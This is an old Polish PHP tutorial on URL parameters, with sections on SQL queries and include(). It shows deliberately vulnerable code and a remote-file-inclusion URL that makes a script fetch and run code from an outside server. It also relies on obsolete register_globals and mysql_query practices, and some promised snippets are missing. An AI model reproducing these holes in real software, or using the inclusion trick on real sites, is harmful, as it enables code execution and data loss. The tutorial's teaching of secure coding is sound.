Parametry w adresie
Wstęp
Ostatnio na forum pojawiało się sporo pytań na temat przekazywania parametrów do skryptu
przez adres. Pytały głównie osoby, które widziały gdzieś adres
w stylu index.php3?id=78 i chciały wiedzieć co to jest lub mieć
taki sam. Uznałem więc, że warto byłoby omówić temat trochę
dokładniej.
Wady i zalety
Z tego co zauważyłem, duża cześć osób zainteresowanych tematem nie wiedziała
do czego to służy, ale chciała mieć takie adresy "bo to fajnie
wygląda". Zaczne więc może nietypowo, od WAD tego rozwiązania.
A jest ich trochę. Pierwsza i najważniejsza: wyszukiwarki. Większość
wyszukiwarek nie indeksuje stron o adresach zawierających znak '?'. Następnym problemem
jest to, że użytkownik na pewno nie zapamięta takiego adresu.
Jeśli adresem strony jest www.firma.pl/produkt jest duża szansa,
że zainteresowany użytkownik go zapamięta. Jeśli natomiast zmienimy
to na www.firma.pl/index.php3?dzial=produkty&id=7 nikt nawet tego nie przeczyta!
Dlatego dążyć należy raczej do uzyskania normalnego adresu, a nie na siłę
dodawać do niego parametry. W tę stronę jest dość łatwo: jeśli
mamy skrypt wyświetlający jakieś dane po podaniu parametrów,
np: index.php3?dzial=3&id=17 można utwożyć krótki skrypt który będzie służył jako "alias"
dla tamtego adresu:
| | $dzial=3;
$id=17;
include("index.php3");
|
|
Użycie parametrów
Kiedy więc należy używać adresów z parametrami? Odpowiedź jest prosta:
tylko wtedy gdy jest to konieczne! Na przykład kiedy strony są
generowane dynamicznie na podstawie informacji wprowadzanych przez
różnych ludzi, lub jest ich zbyt dużo, by dla każdej tworzyć
osobny plik.
Jeżeli więc dalej uważasz, że przekazywanie parametrów w adresie
jest Ci potrzebne, pozostaje pytanie jak to zrobić? Sprawa jest
bardzo prosta. W skrypcie są automatycznie tworzone zmienne o nazwach
i wartościach odpowiadających parametrom. Tak więc po wywołaniu
index.php3?a=1&b=3&c=173 w skrypcie będą dostępna 3 zmienne:
$a o wartości 1
$b o wartości 3
$c o wartości 173
Parametry i bazy danych
Pozostaje już 'tylko' jeden problem - do czego ich użyć. Najczęściej będzie
to pewnie wyciąganie jakichś danych z bazy SQLowej. Trzeba przy
tym bardzo uważać na bezpieczeństwo. Pamiętej że w zmiennej
podawanej przez adres użytkownik może wpisać cokolwiek - niekoniecznie
to, czego się spodziewasz. Załóżmy że mamy następujący kod:
| | $QUERY="SELECT * FROM articles
WHERE ID=\"$id\"";
$result=mysql_query($QUERY);
|
|
gdzie $id to zmienna przekazywana z parametru. Co się dzieje? Jeśli użytkownik korzysta z linków i formularzy na stronie,
wszystko jest w porządku. A co jeśli zachce mu się trochę "poeksperymentować"?
Może dać zmiennej id w adresie wartość:
Właśnie straciliśmy tabelę z artykułami. Niezbyt przyjemne, co?
Dlatego zawsze trzeba sprawdzić co dostaje się jako parametr. Jeśli
parametr powinien być liczbą, jest to stosunkowo proste. Wystarczy
przed użyciem zmiennej upewnić się, że ma typ liczbowy:
Teraz mamy pewność, że będzie to liczba. Trzeba jeszcze oczywiście zadbać, żeby
skrypt nie miał problemu kiedy dostanie jakąś liczbę której
się nie spodziewa, ale to już nie problem.
Parametry i funkcja include
Parametrów można też użyć do wklejania funkcją include innych plików.
To też może prowadzić do niebezpiecznych sytuacji. Przykład:
mamy pliki 1.htm, 2.htm idt. wstawiane do skryptu w zależności
od parametru id:
| | <HTML>
<BODY>
Tu jakieś menu,
czy coś w tym stylu.
<? include("$id.htm"); ?>
i jeszcze stopka.
</BODY>
</HTML>
|
|
Pierwsza dziura jaką tu widać, to to, że skrypt pozwala na podejrzenie zawartości
dowolnego pliku. Ale to jeszcze nie jest najgorsze - ten skrypt pozwala
na wykonanie dowolnego kodu PHP! Wystarczy wywołać skrypt.php3?id=http://www.jakisserwer.com/costam
a skrypt ściągnie plik costam.htm i wykona umieszczony w nim kod.
Jak więc należy napisać ten kod, aby był bezpieczny? Można użyć tej
samej metody co w przypadku baz danych, dodatkowo sprawdzając jeszcze
czy plik istnieje:
| | <HTML>
<BODY>
Tu jakieś menu,
czy coś w tym stylu.
<?
$id=(int)$id;
if(file_exists("$id.htm"))
include("$id.htm");
else
echo("Zły parametr.");
?>
i jeszcze stopka.
</BODY>
</HTML>
|
|
Uwagi końcowe
Mam nadzieję że udało mi się pokazać zastosowania i sposób użycia parametrów
przekazywanych przez adres. Mam też nadzieję, że udało mi się
pokazać że czasem nie warto tego robić. Pytania i uwagi jak zwykle
proszę kierować na Forum.
|